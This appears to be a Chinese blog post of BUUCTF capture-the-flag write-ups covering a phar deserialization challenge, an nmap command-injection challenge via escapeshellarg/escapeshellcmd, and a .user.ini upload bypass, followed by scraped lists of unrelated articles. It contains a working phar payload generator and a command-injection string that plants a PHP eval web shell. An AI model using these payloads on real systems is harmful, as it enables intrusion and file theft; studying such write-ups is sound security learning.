BUUCTF复现记录2
[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开题目,一个登录界面,SQL?
sqlmap跑一下,没有注入,那么注册一下
登录之后,发现只有一个上传页面,源码里面也没有什么
那就上传看看吧,只能上传图片格式的
上传一个试试
上传之后,发现有下载和删除选项,下载抓包看看。
在下载文件存在任意文件下载漏洞
在index.php里面看到包含了文件class.php,然后在下载其他文件,不过没有flag.php或者flag.txt
那么就代码审计
download.php,简单的对文件名做了一个限定
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php,先post一个filename,然后判断文件名长度,并打开文件,最后删除文件
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?php
error_reporting();
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db;
//定义一个构造方法初始化数据库
public function __construct() {
global $db; //调用全局变量
$this->db = $db; //初始化,连接数据库使用
} //定义一个判断用户是否存在的函数,在数据库里查询
public function user_exist($username) {
//prepare 用于预备一个语句,方便以后引用
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
//bind_param() 该函数绑定了SQL的参数,告诉数据库参数的值,s为string
$stmt->bind_param("s", $username);
$stmt->execute(); //execute()函数 用来执行之前预处理的语句
$stmt->store_result(); //返回查询的数据
$count = $stmt->num_rows;
if ($count === ) {
return false;
}
return true;
} //
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} //确认用户存在
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx"); //加盐哈希
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
// 析构函数,对象生命周期结束的时候调用,必定执行,在结束的时候,会调用close()函数,
// 在File类中可以看到,close函数,会执行file_get_contents(),来获取文件的内容
public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames); // 在数组中搜索给定的值,成功则返回相应的键名。
unset($filenames[$key]); //销毁键名
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file); //将一个或多个单元压入数组的末尾,将file往files数组里面添加
$this->results[$file->name()] = array(); //这里得到上传文件名的名字,比如说,flag.txt
}
} //定义了一个魔术方法,用来监视一个对象的其他方法,如果调用了该类中没有定义的方法,就会触发该方法执行。
public function __call($func, $args) {
array_push($this->funcs, $func); //如果调用了不存在的方法,将改方法放到funcs数组中
foreach ($this->files as $file) { //再从files数组中取出方法,利用这个元素去调用funcs中新增的func
$this->results[$file->name()][$func] = $file->$func(); //$file->$func相当于close()函数
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
//根据上面call魔术方法,funcs里面是FileList类里没有定义的方法,下面开始遍历
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
//这里遍历,我们构造的filename为/flag.txt,所以这里利用close方法,读取flag.txt的值
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename); //该函数返回路径中,文件的部分,比如../../uploads/test.php ,返回的是test.php
//利用的时候,flanamew设为/flag.txt,,则调用name函数的时候,返回的是flag.txt
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = ; $size >= && $i < ; $i++) $size /= ;
return round($size, ).$units[$i];
} public function detele() {
unlink($this->filename);
} //定义close()函数,用来获取文件的内容
public function close() {
return file_get_contents($this->filename);
}
}
?>
从上面的三个代码审计可以知道,download.php代码就存在一个任意文件下载漏洞这么个作用,然后在delete.php执行的时候会post一个filename,并且会打开文件,然后删除文件,这里可以利用来读取文件
最后就是class.php,定义了三个类,User,FileList,File。
在User类中,重要关注的是析构函数,他会调用close()函数,而close函数是File类里面定义的一个用来读取文件内容
析构函数会在对象生命周期结束的时候调用,所以最终会调用close()函数,并且读取文件,没有回显,不会输出
那么输出只能在FileList类里面了,可以看到,里面有两个关键的方法,__call魔术方法,方法作用就不说了,上面代码里面说的清楚
__destruct()析构函数里面,有输出,会调用触发__call方法的方法,利用这个来读取文件,并输出。
对于上面的,我们需要使用phar:协议来绕过对flag字符的,读取文件
关于该协议,这里说的不错:https://xz.aliyun.com/t/2715
那么就可以创建User的对象,让db变量是FileList的对象,对象中的文件名定为的位置,猜为flag.txt这样db对象结束时就会调用析构函数,继而执行close函数。但是在db变量中是没有close方法的,所以会触发__call方法,这样就会变成执行了File对象的close方法,触发完__call方法之后,接下来就是析构函数,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来
下面是利用phar来构造payload:
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList;
}
} class File{
public $filename;
} class FileList{
private $files;
private $results;
private $funcs;
public function __construct(){
$file=new File;
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array(); } } ini_set('phar.readonly',);
@unlink("phar.phar");
$phar = new Phar("mortals.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$mortals = new User();
$phar->setMetadata($mortals); //将自定义的meta-data存入manifest
$phar->addFromString("shell.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行之后,会生成一个一个文件mortals.phar
上传phar,然后删除时,delete.php处存在file类的open函数,open函数存在file_exists()方法,这样就可以触发我们phar的反序列化,然后我们phar中调用了User类,User类destruct的时候,调用了db.close方法。抓包,改包,发包,利用phar://协议来读取文件,最终得到flag。
..............end..........
代码审计好难,懵懵懂懂的,看了各位大哥WP。
Online Tool
打开题目地址得到源码,代码审计:
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获取IP
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__); //对文件语法进行高亮显示
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
$host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //新建目录,默认权限,最大可能的访问权
chdir($sandbox); //改变目录路径,成功返回true,失败返回false
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// -sT,在目标主机的日志上记录大批连接请求和错误的信息
// -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
// -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
// --host-time限制扫描时间
// -F,快速扫描
关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
可以知道,escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \' 的左右两边再加上单引号,变成 '\''
接下来到escapeshellcmd函数,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$\, \x0A//和\xFF以及不配对的单/双引号转义)
那么上面的 \ 就会被再次转义,比如变成 '\\''
在测试的时候得到,如果在字符串首尾加上单引号,经过escapeshellarg函数之后,就可以实现将单引号给闭合了,在经过escapeshellcmd函数的时候单引号就是配对的,就不会进行转义
比如说:
'mortals tx'
先后经过两个函数的变化:
escapeshellarg:''\'' mortals tx ''\''
escapeshellcmd: ''\\''mortals tx ''\\''
这样就可以实现单引号的逃逸了
在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件,也就是说我们可以使用这个参数
写一个一句话到sandbox里面去,然后执行就行了
在一句话里面,因为又特殊字符,所以经过escapeshellcmd函数的时候会被转义,但执行的时候就没了
来测试一下看看
可以看到,通过-oG参数,得到了一个text1的文件(高版本的可以使用-oN,题目环境为php5版本),里面就有写的一句话,变正常了
也就是说,可以这样构造来一句话后门了
?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '
根据给的源码知道,执行之后,会生成一个目录,然后这个文件就到了生成的目录中
在生成的目录下执行mortals.php文件,然后蚁剑连接
可以看到,上传成功,并且,可以打开终端了,在根目录下,可以发现flag文件
打开,即可获得flag。
当然,也可以将一句话中的POST改为GET,然后再URL上直接执行系统命令,获取flag
/mortals.php?tx=system('cat /flag');
参考资料:
https://paper.seebug.org/164/#0-tsina-1-56231-397232819ff9a47a7b7e80a40613cfe1
https://althims.com/2019/07/25/buu-online-tool-wp/
https://v0w.top/2018/04/21/SKCTF2-wp/#web-nmap
http://eustiar.tk/archives/521
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/#%E4%B8%80-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81
[SUCTF 2019]CheckIn
基于各位师傅的WP,复现,学习
上传的题目
题目的考点是利用.user.ini漏洞
通过查看P牛关于.user.ini文件利用:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
可以知道PHP_INI配置文件的一些配置,可以通过.user.ini来实现,而.user.ini文件是用户自定义的
可以设置PHP_INI里面除了PHP_INI_SYSTEM模式外的之外的配置文件
而在PHP_INI里面有个配置是.user.ini是有权设置的:auto_prepend_file,通过这个设置可以实现包含文件
在该题里面,禁止了很多,但是对于上传的文件,是通过exif_image来判断上传的文件头,读取一个图像的第一个字节并检查其签名。
可以在上传的文件头加一个图片的文件头就可以了
那么现在就是制作.user.ini文件和一句话,先上传.user.ini文件来实现包含,上传之后还给出了文件所在目录
接着上传test.png
上传成功之后,访问即可获得flag
BUUCTF复现记录2的更多相关文章
- BUUCTF复现记录1
平台地址:https://buuoj.cn/ 里面很多之前的题目,不错的平台.另外幕后大哥博客https://www.zhaoj.in/ 以下的解题,都是参考各位大佬的WP去复现,重在记录下 ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
- HTTPoxy漏洞(CVE-2016-5385)复现记录
漏洞介绍: httpoxy是cgi中的一个环境变量:而服务器和CGI程序之间通信,一般是通过进程的环境变量和管道. CGI介绍 CGI 目前由 NCSA 维护,NCSA 定义 CGI 如下:CGI(C ...
- CVE 2019-0708 漏洞复现+
PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...
- Shellshock远程命令注入(CVE-2014-6271)漏洞复现
请勿用于非法用法,本帖仅为学习记录 shelshocke简介: shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全 ...
- PHP危险函数的持续学习
记录下遇到过的PHP危险函数 0x01 escapeshellarg()与escapeshellsmd()联合 先给出官方的定义: escapeshellarg ( string $arg ) : s ...
- 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记
0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...
- 2020i春秋新春战疫
简单的招聘系统 登陆这里就可以注入 查询这里也可以注入 从登陆这里注入把 爆破数据库名 爆破表名 列名 flag 就很奇怪跑出来的东西 重开容器跑一遍列,估计是flaaag.后面可能是发生了502 再 ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
随机推荐
- Django:序列化的几种方法
前言 关于序列化操作,就是将一个可迭代的数据结构,通过便利的方式进行我们所需要的操作. 今天历来归纳一下,Django中的几种不同得分方法,已经Django-restframework提供的方法 创建 ...
- android基础---->数据保存到文件
Android使用与其他平台类似的基于磁盘的文件系统(disk-based file systems).这篇博客将描述如何在Android文件系统上使用File的读写APIs对Andorid的file ...
- [BJOI2019] 奥术神杖 [取log+AC自动机+dp]
题面 传送门 思路 首先,看到这个乘起来开根号的形式,应该能想到用取$\log$的方式做一个转化: $\sqrt[n]{\prod_i a_i}=\frac{1}{n}\sum_i \log_b a_ ...
- 用Python打开文件夹
用Python读取文件夹, 然后打开文件 下面读取到文件的每一个内容, 然后加上路径 import os path = r'../Downloads/text/content' for filenam ...
- jenkins最新版下载安装
前提:安装配置 jetty 在线下载jetty# wget http://download.eclipse.org/jetty/8.1.17.v20150415/dist/jetty-distribu ...
- python实践项目二:列表转字符串
将列表各元素转换为字符串并以规定形式返回. 假定有下面这样的列表:spam = ['apples', 'bananas', 'tofu', 'cats'],将其转换成字符串:'apples, bana ...
- 热修复干货| AndFix热补丁动态修复框架使用教程
本篇文章会与大家一起学习使用阿里的AndFix热修复框架,可以说AndFix是国内热修复技术的开山始祖,尽管现在阿里已经放弃了对这个项目的维护,但是后来很多的热修复技术都借鉴了这一框架的实现思路. 1 ...
- HTTP权威指南-报文与状态码
所有的报文都向下流动 报文流向 报文组成 HTTP方法 状态码 GET示例 HEAD示例 100~199 信息性状态码 200~299 成功状态码 300~399重定向状态码 400~499 客户端错 ...
- 【转】那些年用过的Redis集群架构(含面试解析)
引言 今天是2019年2月12号,也就是大年初八,我接到了高中同学刘有码面试失利的消息. 他面试的时候,身份是某知名公司的小码农一枚,却因为不懂自己生产上Redis是如何部署的,导致面试失败! 人间惨 ...
- Spring中声明式事务的注解@Transactional的参数的总结(REQUIRED和REQUIRES_NEW的与主方法的回滚问题)
一.事务的传播行为1.介绍 当事务方法被另一个事务方法调用时,必须指定事务应该如何传播.例如:方法可能继续在现有事务中运行,也可能开启一个新事务,并在自己的事务中运行.2.属性 事务的传播行为可以由传 ...